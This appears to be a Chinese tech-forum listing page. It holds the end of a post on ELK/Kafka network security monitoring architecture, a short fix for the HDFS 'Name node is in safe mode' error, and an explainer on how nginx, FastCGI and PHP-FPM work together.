    流量抓包与网卡 
    ll.png

    ELK部分的关键点 
    1、用Logstash Kafka input接收数据
    2、数据量大,处理结构复杂时:
          预设Kafka分区 
          开启多个Logstash实例,分别读取Kafka分区数据 
          分别写入不同es节点
    3、多集群互联 
    跨数据中心es集群 
    zone.png

    10G NSM平台样例 
    10g.png

    万兆 实时 安全大数据架构 
    WZ.png


    作者:张磊@Zooboa 


    收起阅读 »

    Name node is in safe mode解决

    将本地文件拷贝到hdfs上去,结果上错误:Name node is in safe mode 这是因为在分布式文件系统启动的时候,开始的时候会有安全模式,当分布式文件系统处于安全模式的情况下,文件系统中的内容不允许修改也不允许删除,直到安全模式结束。安全模式...
    继续阅读 »
    将本地文件拷贝到hdfs上去,结果上错误:Name node is in safe mode

    这是因为在分布式文件系统启动的时候,开始的时候会有安全模式,当分布式文件系统处于安全模式的情况下,文件系统中的内容不允许修改也不允许删除,直到安全模式结束。安全模式主要是为了系统启动的时候检查各个DataNode上数据块的有效性,同时根据策略必要的复制或者删除部分数据块。运行期通过命令也可以进入安全模式。在实践过程中,系统启动的时候去修改和删除文件也会有安全模式不允许修改的出错提示,只需要等待一会儿即可。
     
    可以通过以下命令来手动离开安全模式:
    bin/hadoop dfsadmin -safemode leave  
    用户可以通过dfsadmin -safemode value 来操作安全模式,参数value的说明如下:
    enter - 进入安全模式
    leave - 强制NameNode离开安全模式
    get - 返回安全模式是否开启的信息
    wait - 等待,一直到安全模式结束。 收起阅读 »

    梳理nginx、fastCGI、php-fpm之间的关系

    背景介绍 在Linux下搭建Nginx+Mysql+PHP(LPMN)的时候,nginx.conf中配需要配置fastCGI,php需要安装php-fpm扩展并启动php-fpm守护进程,nginx才可以解析php脚本。那么,这样配置的背后原理是...
    继续阅读 »
    NginxLogo.jpeg


    背景介绍


    在Linux下搭建Nginx+Mysql+PHP(LPMN)的时候,nginx.conf中配需要配置fastCGI,php需要安装php-fpm扩展并启动php-fpm守护进程,nginx才可以解析php脚本。那么,这样配置的背后原理是什么?nginx、fastCGI、php-fpm之间又有什么关系呢?一直有这样的疑惑,由于无法理清nginx、php-fpm之间的关系,遇到nginx解析不了php脚本的时候,往往不知所措,花费的问题排查时间也非常长。因此,特地抽时间了解这背后的原理,梳理了一下nginx、fastCGI、php-fpm之间的关系。


    什么是fastCGI


    fastCGI是由CGI(common gateway interface,通用网关接口)发展而来,是http服务器(nginx、apache)和动态脚本语言(php)之间的通信接口。记住,fastCGI只是一个接口。
     
    传统CGI接口方式的主要缺点是性能很差,因为每次HTTP服务器遇到动态程序时都需要重新启动脚本解析器来执行解析,然后结果被返回给HTTP服务器。这在处理高并发访问时,几乎是不可用的。另外传统的CGI接口方式安全性也很差,现在已经很少被使用了。
     
    FastCGI接口方式采用C/S结构,可以将HTTP服务器和脚本解析服务器分开,同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程来执行,然后将得到的结果返回给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。
     


    Nginx+FastCGI运行原理


    Nginx不支持对外部程序的直接调用或者解析,所有的外部程序(包括PHP)必须通过FastCGI接口来调用。FastCGI接口在Linux下是socket,(这个socket可以是文件socket,也可以是ip socket)。为了调用CGI程序,还需要一个FastCGI的wrapper(wrapper可以理解为用于启动另一个程序的程序),这个wrapper绑定在某个固定socket上,如端口或者文件socket。当Nginx将CGI请求发送给这个socket的时候,通过FastCGI接口,wrapper接纳到请求,然后派生出一个新的线程,这个线程调用解释器或者外部程序处理脚本并读取返回数据;接着,wrapper再将返回的数据通过FastCGI接口,沿着固定的socket传递给Nginx;最后,Nginx将返回的数据发送给客户端,这就是Nginx+FastCGI的整个运作过程。详细的过程,如图1所示。
    NginxFastcgi.png

     


    spawn-fcgi与PHP-FPM


    前面介绍过,FastCGI接口方式在脚本解析服务器上启动一个或者多个守护进程对动态脚本进行解析,这些进程就是FastCGI进程管理器,或者称之为FastCGI引擎, spawn-fcgi与PHP-FPM就是支持PHP的两个FastCGI进程管理器。
     
    下面简单介绍spawn-fcgi与PHP-FPM的异同。
    spawn-fcgi是HTTP服务器lighttpd的一部分,目前已经独立成为一个项目,一般与lighttpd配合使用来支持PHP,但是ligttpd的spwan-fcgi在高并发访问的时候,会出现内存泄漏甚至自动重启FastCGI的问题。
     
    Nginx是个轻量级的HTTP server,必须借助第三方的FastCGI处理器才可以对PHP进行解析,因此Nginx+spawn-fcgi的组合也可以实现对PHP的解析,这里不过多讲述。

    PHP-FPM也是一个第三方的FastCGI进程管理器,它是作为PHP的一个补丁来开发的,在安装的时候也需要和PHP源码一起编译,也就是说PHP-FPM被编译到PHP内核中,因此在处理性能方面更加优秀;同时它在处理高并发方面也比spawn-fcgi引擎好很多,因此,推荐Nginx+PHP/PHP-FPM这个组合对PHP进行解析。

    FastCGI 的主要优点是把动态语言和HTTP Server分离开来,所以Nginx与PHP/PHP-FPM经常被部署在不同的服务器上,以分担前端Nginx服务器的压力,使Nginx专一处理静态请求和转发动态请求,而PHP/PHP-FPM服务器专一解析PHP动态请求。
    具体更多详解参考:http://ixdba.blog.51cto.com/2895551/806622 收起阅读 »